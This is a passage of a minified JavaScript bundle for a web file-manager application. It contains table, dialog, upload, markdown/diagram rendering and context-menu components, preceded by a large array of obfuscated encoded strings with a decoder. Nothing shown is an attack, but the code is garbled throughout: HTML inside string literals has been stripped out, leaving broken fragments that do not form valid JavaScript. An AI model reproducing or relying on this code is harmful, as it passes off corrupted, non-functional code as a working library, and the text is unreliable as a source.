"qxm/WPS9","WP0nh8kmW4b1WRy=","WQZdRSoNpx7cJSo8vs/dI8oY","WOjQW4ddHfe=","rwGrWQCi","W6BdKHPOfSo3xKBdKSkO","4Oo74Og04Ocn77M84OoF77MT4Oc+4Oci4Ocv4Ogz4Ogh4Ogm4Okc4OkP4OkF4OcQ4Oki77Mn77IU4Oo54Oga4OoR4OcI77Uj4OoB77QD4Oow4Ocf4Ooy4Ocx4Ogb4Okp4Ooi4OoL4Ooh4OoW4Okg4Ool77QY4Ok04OoN77Uu4OoY77M24Ok977M+4OgL4OgG4Ocj77Uk77Qw4OoH4OgA77Ic4Oo94Ok94Ogv77UK77Uo4Oow4Oco4OkB4OcH4Okt4Ooa4Oka4OkH4OoZ4Oo24OcB4OoT4Og74Ood4Ogz4OoG4Ooq4Ogz4OkF77MG77U+4Ogz77QB4OgM4OkS4Okc77Uw4Ocb4Ooi4Og64Og94Ogu4Ocq4Og14Oge4Og54Okd4Ogk77Qe4Ogw4OgK4Okh4Ooo4OgP4OgS4Oo977MF77UW4OkU4OoJ77Mq4OgK4Oce4Oka77Ux4OkA77Iw4Ok677Qq77Qg4OoZ4OoZ77Us4Oo84OkF4Oow77Ik4OoU4Oce4OkX77UX4Ood4OkU4Okv77U64Oo94OoK4Okd77MH4Ogu4Okb4OoL4Ok44OgV4Oo34Oko77Mp4Ocv4Ok24OoT77IV4Ocu77IG4Ocl77II4OkM4OkP4Ogl77QC4Ooc4Oox4Ocy77ML4OoK4OcY4Okk77Q44Ocz4OgU4Okr4OoQ4OgT4OoV4Ogf4Oot4Oct4Ok+4Og877UT4Ooy4Ogr4OoT77U+4OgG4Ocv4OgQ4Oc64Ocu4Oot4OcJ77MS4Ogm4Oop4Ocm77IS4Ogf4OcM4OgY77Ix4Oow4OgJ4OgX77UX4Oon4Oo44Ocv77UZ77Mg4Ooy4Occ77Ui4Ogy77U+4Occ77QF4Og04Ooc4Ocb4Og44OgJ77UR4Ok74Ogg4Ok14OgW4Oof77Q24Ocs77I+4Ogd77Me77Mr77Uo4Ok04Oca4Ogr4Okv4OgV4Oga4Ogt4OoE4OkZ4Okp4Ooq77Mx4OgQ4OkB4Ocr4OkG4OkI77UN4OcU4Oce4Oce77U177MG4Ogi4Okl4Oon4OoD4Okg4Okx77Mv77IR4OkM4Oon77Mo4OcQ77Qx4OoV77Mp4OkH4OkH4OcM77ME4Oku4Ocq4Ocf4Okd4OoF4Ogi4OgA4Ocw77I54OoS4OkJ77Ua4OgJ4OgN4OkO4OoF4Og74Ogp4OcN77MW77UW4OgV4OcC4Occ4OkR4OcE4Okk77Uk77IC4Ok84Og977I+4Oca4Ooj4Oot77U+4OcG4Ogx4Okv77I64Occ4Ok24Ocg4Ocy4OgU4OcE4Oka77IK77QW4Oke4Oof4Okx77Uq4Oov","WOldL3DN","WPFdJgmbW69mW6tdQSomW4rVpLjGW4CLnCoQiCkuWP4=","W7tcVZ0cBSkIW7ldStZcKmkqBCoujCokWQ00","W43cHGuTWRpdVZ0NfKJdOf4=","WPJdPmkxcSoOBCk6EbarWO8HvIhdQvHRrW==","oY7cKKRdL8kYra==","cd3cH1NcIa8nWOCZW6ZdOmk9WRq=","W5T2v8kOWPZdRCoABYBdNxlcRG==","W7ddM2SWWPygWRy=","W5ZcMIKIWQO=","WPRcUCoNW4ur","W59EDmomza==","W7HGsSoXBq==","ymoIxMCBW7L8WRpdQ8oMWPSt","W6JcVXGVWOK=","pre0WPZdPG==","WPpdJSo8WQ7dQG==","W6u6WP4OWP8=","W6awWPtcISoCjCkkW4FcOCoAW7hdQmo2","WQFcMSoJW6C=","WQdcJCoHW6bJW53cKb4ksrC=","WQbEzH5g","WPhcOLOIWQy=","smkLvIFcQq==","wqxcPt3cJJ/dRmoxrq==","WRVcPxGmWQZcKZRcVSo+","WPPuW4PYWOe=","WOhcGCo1WOHB","mmkZeu8kWRBdUG==","rvWJ","WRpdV8kfW5KXWOr6WPf4nCoSWQemW4q2WPVcRXVdQ8k6gmkEW4ZcM8k5zSkgW6jUW6ZcICoaWORdSxFdI8kyCrLVW4hdS8owlZ0vW4ixW45vmLTdjmosW58kWPiREf8jW5pdHrClW7dcIrpdJ8kPWOP3WRtdLHlcMuTRW6idWP3dRuSUxWZcKSokW5hdKgFcVqpdKCklFMHi","W6/dMrHQmCk/uvZdLmkIfmkcW5hdH8ofrrNcIG==","oINcN13dS8kerqldOmkgDmogWRfodIVcMIe1WRdcRSkQza==","iZlcVmot","hL/dSJVdMwJcQa==","dIxcISoFW6O=","WPhcG8oSWQz6WQy=","W5j8sq==","gs4+WQFdUSkcnrxcHa==","WQxdImo1WQNdQLi=","W5hdP2qzW7SPFwrRWO0CW7mLWQrUkCoDW5HP","W4pdUNOeW7bR","WRBdI0rIzG==","W6/dMConWP8K","zCkxWO0AWPxcS21UW4VcTdy=","WQ1hW5XwWPRdVG3dOSo/WPldKmoJB8oTW7dcOmk4W5RdI8o9wCk7WPnWWOW=","W4BdTN0XW6y=","AmkOfYxcGtW=","W5FdKM4wWQG=","WQpcImoVW6j4WOlcSquhxKXkWQtcHG==","pmkXaeCrWR3dJeZcJCoBaSouWRG=","W5FdSwyfW6vbDN8ZWOmnW7L/WRfblmoBWPHRW5tdKCkjrSk8dsaFFYBcRCkWoMtcU2xcMu7cHmoWWQKxuhFdPmklDL7cP24IWRq=","WOhdOCoKkNG=","uSo8rhS7","WP3dI2vSsq==","ymo5xw8nW6fXWQ7dICoT","W4/cKqKVWPtdSG==","WPqXx3ldQ8k5WPGgrSkJySoU","xHHiW5xcP8o3ASotWRKzfYZdJMldN8oGWQ9Kr1ZdKG==","z8o0xgm2WR5VWQ7dHmoSW5axWRXo","W6/dMrHQmCk/q13dJ8k/iCkeW4FcG8kyqrdcGCkMWOW=","say4jW==","uH1mW5dcNCk9Emos","WP/dVSoIj0/cNmo7FWJdM8oZwKHhW7tdGSo+pCk3jSouW6bIW64gBXW=","fYq3WQa=","WRddQ25yCMjdiepcPCos","WPldM8oZWR7dVu0BW5BdM8kxW4Pz","WRdcK8kdW5NcLq==","WPxdU0OGW7S=","txb0W7pdUG==","vSoXqMWi","uGennSoB","yxldOCoJfG==","WRZcGCkJW5tcMa==","cZJcIvVcK1aSWOe9WQ8=","W6/dMrHQmCk/uvZdLmkIfmkcW5hdH8ofvXlcNmkK","WRPQW7H5WRa=","WQJcHmo4W4RcTa==","W73dPu8aWP0=","sWiHlSoy","W6ddUmoAWOulW6z6WQ9XiSocWQas","AZddOHtdQmof","WQlcP8kyW5JcTG==","p8oBW7ZcT18=","t1W6WRacW73cOq7dV8oOz8kMbLqHB1S=","W5XHuSoqsq==","ewe+FmkGtmoUdmo7","WRFcN8oNW7K5W5VcQG8CfaXDWRxcM0NcIXi=","W7VdKgqCWPXaWRhcGN7dOutcTCkqW73cOCktWPH0WQiGW4ddNCoVWRi2vqicoYJdGfm=","W5r9umoqrmoKksxcLqBcKSkKah4=","W5rZumkrWQ4=","W5OyWRyeWRW=","eCkYjfaq","obpcOSovW68=","WP/dL8k3g8oI","WObSW7ZdOwK=","W6ddQCodWOqPWQbLWRq=","WOeMxgJdUSkoWQ0lqCkNyW==","W70MWQm1WP8=","W5ldJMhcRmkmW7dcKmkbtmk8W7ZdOM4UW4JdQCkSEeyUWPX7W5tcUG==","WQFcQCoeW59Y","WOpdM34cW7PY","WQXMW5W=","pSkNce8lW7FdQ0hcI8oDeSokW6moWRT6W5dcV8oTWR0=","W6qaWQNcHmoypSk3W7ZcOSoeW6hdUa==","WO/cK1yIWRC=","WRFdRCkXiCoN","WPmzbSkmW4e0WQHXyKSeBepcRCk5W58HW5ddV8oCWQ4=","W4pcUI09Aq==","eeVdQZVdMcNcUSkFb3HfW5JdP8k0WRhdIqyqWQldVG==","mMyCwmk4","nI/cOCoFW43dGIKXpZlcGCo0WP/cGcu=","WOnlW69+WOe=","WP/dOu9HFW==","tCo8vgKF","wHjgW5pcRCk9","vYRdRW3dGq==","WOxcVguxWPVcPslcUSoRf1/cLG==","zCksWOKqWQ/cTL1TW6pcVdBcTd/dIu/dICkczuldNSokhCohvCoYW41SaZRdTmkMWQOdWRpcKmo2WRDWA8ohawf+lKKmWPXmWQ7cPWddQ1rOerZdRwZcTItcSmk5k8kwW5VdPSkx","W6tdQSowWOa=","W4/dPMu3WRK=","WOqCb8kqW4O=","W55stmoFyW==","W6/dMrHQmCk/uuFdGCkHoCkqW4VdN8ofua/cI8k+WO0=","a0ddSYBdK3tdTCkqagbzW5NdRW==","aZBcIgpcIvit","BfJdK8oxkW==","W6WYWRFcTmo8","u8krWO4nWRO=","WPJcG8oIWQT7WRhcTvLjCM3cLCoMW53dV8kMka==","WPrVW4hdN1FcL8oDnmodgCotWOG=","WOjRW7ddNNq=","WR/cLSoTWQnn","bZS/WQZdQW==","WOiDCmoVWRxdSva=","taXjW5xcVq==","W5ldJMhcRmkmW7dcJCkivmk5W7ddVM4+W5FdOCk2FeS6WPP1W5xcV2C=","WQpcImoVW6j4WOlcPbGetHmcWQBcL1i=","WOBcISofW5a0","W6NdN0/cLmki","WQtcNCk2W5JcHq==","WQXWyZ1JnbFcVhFcGmk9W7ryWPTFaCoHghlcKG==","WQVcKSkDW67cMa==","xHHiW5xcP8o3E8okWRGrkIpcKM7cLCoXWOjQs1BdNSkk","W7JdHMNcPSkL","W7XWs8kPWO0=","W6umWPCtWPW=","W53dPMqsW7b0x2jSWPbtW7TVWQXIlConW7nPW5lcKSkru8kucYWzactcVSkTlhW=","WOm+zCorWQm=","W4hdMu7cPSki","WRtcGCovWRXq","WQJdP8k7mCoL","WPJdICo/ege=","W7ddK3agWQq=","BSk9CIdcG1qx","mW7cT3VdHq==","vLOFWPFdTG==","WQNdOCkjbCow","vmkCyaJcHa==","yLRdKCo1iW==","yfycWQS2","W5/dS30zW7POya==","WQldP2jdEr9ele/cUmocW7ldIhWmaguQnG==","WQZdS3TdEf5v","WQOIEK3dMq==","W4RcKaCPWP7cUd40nKZdSuVcGdRcIZW=","WRhcH8k3","WRZcJ8oNWQfS","W5xdOfe0WQy=","W7O8WRSIWRm=","WQVdT8oMWONdTW==","WOpdNhvVu3KDAG==","kdWWW7/cMmkhmIjG","WQhdSCovWQddQa==","nJZcI1pcJG==","WO3dSSktbmoHj8k7","W7lcKcGqAq==","asZcKLRcIW==","DhZdHSo9jdygWR/dI8o8vq==","iGFcMfVdLq==","c19pW6yk","z8o+ugyHW6j0WRldP8o5WOSFWRDe","WRxdL3DGtG==","edpcHfZdLq==","WQ7dSgvOva==","D2WJWPtdHG==","wg4tWOVdMW==","xGLrW5tcISkQCSowWRK=","W7CUWP8OWOxdHh7cKuFdIZddKSoeWPj/W4ldNG==","v1yXWRqR","WOBdTwPey0m=","W7BcUJmdzCoFW6tdPt3cGCkkD8oWzSomWQaJWRSNcmkxrmoOW54=","k8kMhvjkWRldQfBcICofbmoiWQumWQO=","FSkhtxBcQW==","bwhdNHddSa==","W4hdJ3ZcQCkdWRZcMa==","WPeCBCoQWRRcVuzMAIeJkCoUWORdS0tdTW==","q8kRWQ4yWOG=","FvW2WRep","W7BcUJmdzCoFW6tdPt3cGCkkD8oWzSoCWQK0WQWWoq==","WR4LlmkrW4i=","aKq+WQu=","u08aWOldKq==","W6JdM2uqWRmlWQBdMMpdVeNcT8kWWRBcU8kEW4DYWQGHW7FdQSoPWQy6tWjTjsldJutdVx7dUCoN","WOldK2vRy3mBDSocaq==","pmkIbK4aWORdRfhcNCotfmooWO8qWRTOW5y=","W6tdPmodWOKlWQ0=","amk3wbC=","mdFcRfNcRW==","hCobW5BcGfRcK3yFzXm4qW==","WQjyW5vjWQm=","WOSXxN/dR8kVWPSpuSk2AmoO","y8kSzslcMuO2W5rgW5RdKmowWOu=","WQFdJNu/W60=","amkMbeun","WOypaSkcW4H+WRC=","pa3cQSocW6a=","WPZdUCo/hg8=","W7hdG0dcKmkL","bYmYWRFdUSkLbb3cJ8kZWR0=","wmkCrhlcMCo2W4L2W7fCnSoj","W7VdKgqCWPXaWRlcMMtdTeZcVmoAWQhcT8kEWQHVWQKRW7VdNW==","W7ddOx7cQSkB","hN1k","nL1zW7SCwCoyrq==","WQ/cV2OcWQm=","WQZcQCo4W7Hx","Dmk/bZq=","W4JdTmoVWP4Y","WP8cqCohWR0=","W73cUd9ciq==","xJtdTdZdOCoe","WP9VW5ldLu8=","DIePhCo/","WOi8D8oGWPi=","WO7cG8oHW6P6W6NcOH4k","CfVdI8oNcW==","fs8+WQZdSCoFeWpcJ8kNWQKybmkOF3hcUri=","ocqWWQtdS8k0fqxcGq==","y8k1u03cQG==","DWi8i8oPhmoH","W55HwSkuWPm=","idpcI3pcNa==","WQzhDdnR","W6JdHNKqWOq=","WPhdMMeDW7eVW6ZdRmomWOaNk1HH","WOjZW7H7WQm=","ptRcJSoSW40=","W6eQWQhcNSoZ","lCouW63cMeG=","W6u/WOiXWOtcMwC=","W6FdKXX3","zNddISoMl0OcWRldISoUt2HAWRldPZ4vW7BdLSoo","WOCsdCkdW6m=","e2FdOrJdMq==","WQHVW43dJvhcKmoDi8okmG==","CSk0Dt3cIvC=","W7xdRgCwWR4=","WOadFMxdRG==","WRJcSw8pWPRcKrhcQ8oNnKBcHa==","DCoZq2mOW6u=","WOFcKmkxW6tcRe3cGCkJCMKeW7HJWP/cT8kpW6q6WPS=","mrT9FSo0rSo4bqacp8orW5KUWReKW7LsrSofCdDfAd8=","ASkiqvJcVW==","swvS","eMxdRHVdRa==","uNSBWOJdOW==","efRdSJRdS2lcSSkf","WPhdPN5FCKnsd0NcTCoyW7dcGG==","WRJcOmoDWObP","ccZcNLJcP0qdW4qWWRBdTCkXWPxcNN7cKapdN8o6f3ldOmozW7vCiIhcS8kIfmkkW67dJ8oBbmkA","kSo6W63cLua=","WO/dTuz6ra==","WRLWzXrUmH8=","dSoYW6hcTx8=","W5tdQXzalq==","kMbJW7uW","WP7dVeDmxG==","WPtcVuCMWO4=","oYdcKeVdUCk7","AHC4jSoNeCo3","nI/cOCoFW43dGJORjZ/cGCoMWPtcLG==","WQ3cR8oyW70jWQK=","odVcUmoFW4ZcGYG=","WPtcGSoIWQbWW6ZcH0bbANFcJSoiW5ZcV8k8kmkmWPFdP8oO","WOXhW6DqWPK=","zCkdWPawWPxdUe9ZW5BcSh3dQJVdKvtdKmkZ","W5VdN3tcR8kp","cmohW5BcN3ZcQxiasWO5","W5hdP2qzW7SPEwr9W4SyW7n+","w8kiu3BcUmoNW7LYW41FmSobrfm=","WQRcJCo7WQbZWQy=","usZdUq3dKG==","kCowW4JcMhZcIgmSqGG5va==","W6ddQCodWOmXWQHLWQTty8oeWQCkW4O=","B3XcW57dIG==","WQRdVSoN","bZiGWRhdUSkD","c19aW64f","WRZdIeuKW4W=","W6ddUmoAWOulW6zLWQvIEComWQSbWOaHWPZcMa==","W7FdPSoMWRyS","WRSVzCowWQa=","W53cGdK6WPS=","WQNdUSo6ne0=","WPy4rNRdO8kZWPOpxSkRFCoL","u2qBWOtdKSobWQmu","WPXZvGfC","lSkscKO8","W7tdS8orWOOP","sSocDu8p","qW/dVrldLa==","CLZdRmohma==","sbjMW57cKW==","W4ZcKr4pWOddOZu6oW==","w8kBzqRcNG=="];a=s,function(e){for(;--e;)a["push"](a["shift"]())}(249);var p,i={},r=(i[(p=function p(e,t){var h,i=s[e=+e],n=(p["qKWhJc"]===undefined&&(h=function h(e){for(var t,i,n=String(e)["replace"](/=+$/,""),o="",a=0,s=0;i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="["indexOf"](i);return o},p["SFyUwb"]=function u(e,t){for(var i,n=[],o=0,a="",s="",r=0,c=(e=h(e))["length"];r',r+=' '),t+=''+n.title+r+"
",i[n.field+"_@_"+e]=n}var c=''+t+"
";this.columns=i,this.target.find(".content .list-table").html(c)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum},t=this.config.order,n=(t&&(e.sortField=isNaN(parseInt(t[0]))?t[0]:this.config.items[t[0]].field,e.sortType=t[1]),this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue),this),o=Tips.loadingMask();Object.assign(e,this.config.data),this.config.request(e,function(e){o.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+=''+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,o={},a=(_.get(e,"attr.formatter")&&(o=e.attr.formatter(i)),$.objClone(e)),s=(a.attr=a.attr||{},a.attr=$.extend({},a.attr,o),_.unset(a.attr,"formatter"),[]);for(n in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)s.push(n+'="'+a.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var o,a="",s=t[e];for(o in n){var c=o.split("_@_")[0],l=s[c],d=n[o];_.isFunction(n[o].formatter)&&(l=n[o].formatter(l,e,t)),a+="'+l+"
"}i+=""+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=a(27),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),o=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=o+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+o+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var e=this.dialog.$main,t=function t(){e.width()<600?e.addClass("app-wap-small"):e.removeClass("app-wap-small")};t=_.debounce(_.bind(t,this),50),this.bind("viewResize",t),t()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(28),a=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var o={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},n=($.extend(!0,o,n||{}),new a["default"]({"parent":this,"paramData":o}));this.uploadViewEvent(n,i),n.uploadContent(e,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)},t=($.extend(!0,n,t||{}),new a["default"]({"parent":this,"paramData":n}));this.uploadViewEvent(t,i),t.uploadContent(e)},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],o=c.paramData.tipsError||LNG["explorer.upload.error"],a=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=a+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},o=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",o=n.speed+o,a=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t\n\t\t\t\t\t'+o+' \n\t\t\t\t\t'+i+s+" \n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1"+i+"","hash":e,"time":timeFloat()})},a=function a(e,t){var i=t;try{i=e.render(t||""),_.each(s,function(e){i=e(i)})}catch(n){}return i},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a
"}catch(h){}if(_.includes(["flowchart","flow"],e)){var s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(a).drawSVG(s,c);var l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["abc","music"],e)){s=UUID(),r=$("
").appendTo("body"),c={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(s,a);l=r.html();return r.remove(),''+l+"
"}catch(h){r.remove(),console.info(h)}}if(_.includes(["plantuml"],e)||_.startsWith(a,"@startuml"))return'';c=u(e),r=u(a);if(c||r||!("seq"==e||"sequence"==e)||(c=!0,e="sequenceDiagram",a=a.replace(/\\n/g,"\\n")),"sequenceDiagram"==e&&(a=p(a)),c||r){var d=a,s=(c&&!r&&(d=e+"\n"+a),UUID());try{return''+(l=mermaid.mermaidAPI.render(s,d))+"
"}catch(h){$("#d"+s).remove(),console.info(h)}}return(0,f["default"])(t.content,e)}};var t=i(207),f=(i=t)&&i.__esModule?i:{"default":i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e,t){var i="",i=(t&&hljs.getLanguage(t)?hljs.highlight(e,{"language":t}):hljs.highlightAuto(e)).value,t="",o="\n";return e.split("\n").length<5?""+i+"
":''+(i=t+(i=(i=i.replace(/\n/g,o)).substr(0,i.length-o.length))+n)+"
"}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.after("emphasis","toc",function(e,t){return!t&&!((t=(t=/^@?(\[toc\])|(\[\[toc\]\])/im.exec(e.src))?t.filter(function(e){return e}):[]).length<1||(e.push("toc_open","toc",1).markup=t[0],e.pos=e.pos+t[0].length,0))}),e.renderer.rules.toc_open=function(e,t){return''}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){var t=".markdown-preview-image-show",i=$(t);i.exists()||(i=$('').appendTo("body"),$.addStyle("\n\t\t.markdown-preview-image-show,.markdown-preview img,.markdown-preview .markdown-flow{cursor:pointer;}\n\t\t.markdown-preview-image-show .label{color: #444;}\n\t\t.markdown-preview-image-show{\n\t\t\tposition:fixed;left:0;top:0;right:0;bottom:0;z-index:99999;\n\t\t\tbackground:rgba(255,255,255,0.95);\n\t\t}\n\t\t.markdown-preview-image-show img,.markdown-preview-image-show svg{padding: 20px 5%;margin-top: 5%;}\n\t\t.markdown-preview-image-show img{box-shadow:0 0 50px rgba(85, 85, 85, 0.2);}\n\t\t.markdown-preview-image-show .continer{\n\t\t\tposition: absolute;margin: auto;\n\t\t\ttop: 0;left: 0;bottom: 0;right: 0;\n\t\t\twidth:100%;height:100%;text-align:center;overflow: auto;\n\t\t}"),i.bind("click",function(){i.fadeOut(100,function(){i.find(".continer").html(""),i.addClass("hidden")})})),e.delegate(".markdown-flow svg,img","click",function(){$(this).clone().appendTo(i.find(".continer")),i.removeClass("hidden").hide().fadeIn(100)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){i(211),i(212),i(213),i(214),window.ExplorerMain=i(14)["default"];var e=i(4)["default"],t=new e;window["kodApi"]={"explorerMain":i(14)["default"],"explorer":i(10).ExplorerDialog,"pathSelect":i(20)["default"],"request":e,"requestMakeApi":_.bind(t.makeApi,t),"requestSend":_.bind(t.requestSend,t),"formMaker":i(1)["default"],"vList":i(19)["default"],"vListIcon":i(100)["default"],"vListTree":i(102)["default"],"copyright":i(49)["default"],"componment":{"markdown":i(13)["default"],"request":i(4)["default"],"tree":i(21)["default"],"chatText":i(96)["default"],"upload":i(28)["default"],"uploadBlob":i(12)["default"],"pathModel":i(26)["default"],"table":i(9)["default"],"menubar":i(17)["default"],"input":i(56)["default"],"UserTools":i(16)["default"],"pageError":i(57)["default"],"pageContent":i(54)["default"]}}}},function(e,t,i){"use strict";var u,p,r;u=function u(e){e=e.ico||e.icon||"";return!e||_.includes(e,"<")?e:_.includes(e,"/")?' ':' '},p=function p(c,l,e,d,h){var t=[],i={};if(d){for(var n in e)t.push({"key":n,"value":e[n]});for(var o=t.length-1;0<=o;o--)i[t[o]["key"]]=t[o]["value"]}else i=e;$.each(i,function(e,t){n="string"==typeof t?'':(t.className=t.className||"",n=e+" "+t.className,i=t.name,o=' item-key="'+e+'"',t.accesskey&&(i+='"),a=t.htmlAdd||"",'");var i,n,o=$(n).clone(),a=d||h,s=l.$menu,r=s.find(a).first(),a=(0==(r=0==(r=l.$menuParent?(s=l.$menuParent.children(".context-menu-list").first()).find(a).first():r).length&&l.commands[a]?l.commands[a].$node:r).length&&(r=s.children().last()),d?r.after(o):h&&r.before(o),o.parent(".context-menu-list").data("contextMenu")),s=(o.data({"contextMenu":a,"contextMenuKey":e,"contextMenuRoot":c}),{"$input":null,"$label":null,"accesskey":t.accesskey,"className":t.className,"icon":t.icon,"name":t.name,"_name":i,"$node":o});a&&(a.items||(a.items={}),a.items[e]=s),"string"!=typeof t&&(l.commands||(l.commands={}),l.commands[e]=s,c.commands[e]=s,c.callbacks[e]=function(){return 